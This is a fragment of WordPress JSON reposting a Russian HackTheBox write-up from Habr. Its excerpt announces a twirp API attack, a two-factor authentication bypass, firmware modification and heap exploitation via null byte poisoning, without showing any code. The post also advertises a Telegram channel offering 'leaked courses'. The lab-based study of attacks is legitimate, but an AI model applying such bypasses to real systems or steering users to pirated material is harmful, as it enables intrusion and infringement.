\u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0430\u043c \u0432 <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">Telegram<\/a>. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u0441\u043b\u0438\u0442\u044b\u0435 \u043a\u0443\u0440\u0441\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u041f\u041e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u043b\u044e\u0434\u0438, \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0444\u0435\u0440\u0430\u0445 \u0418\u0422, \u0442\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0443 \u043f\u043e \u043b\u044e\u0431\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0422 \u0438 \u0418\u0411.<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/508348\/\"> https:\/\/habr.com\/ru\/post\/508348\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/508348\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xc\/l8\/le\/xcl8lej07_u4j1dwdfymsdpyzt4.png\"><br \/>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0441 API twirp, \u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u0432\u0443\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043c\u043e\u0434\u0435\u0440\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u0443\u0447\u0443 \u0447\u0435\u0440\u0435\u0437 \u0430\u0442\u0430\u043a\u0443 null byte poisoning (P.S. \u043f\u0440\u043e Heap \u0435\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/xss.is\/threads\/38556\/\" rel=\"nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>).<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-306018","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/306018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=306018"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/306018\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=306018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=306018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=306018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}